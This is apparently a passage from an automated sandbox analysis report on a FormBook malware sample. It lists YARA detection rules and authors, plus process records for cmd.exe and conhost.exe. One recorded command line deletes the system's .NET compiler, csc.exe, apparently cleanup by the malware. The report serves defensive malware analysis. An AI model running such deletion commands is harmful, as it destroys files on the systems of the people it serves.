00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.11881186452.00000000032C0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000005.00000002.11881283456.00000000032F0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	moderate
Has exited:	false

Target ID:	6
Start time:	10:01:38
Start date:	08/10/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"
Imagebase:	0x6a0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	10:01:38
Start date:	08/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7b2f40000
File size:	875'008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true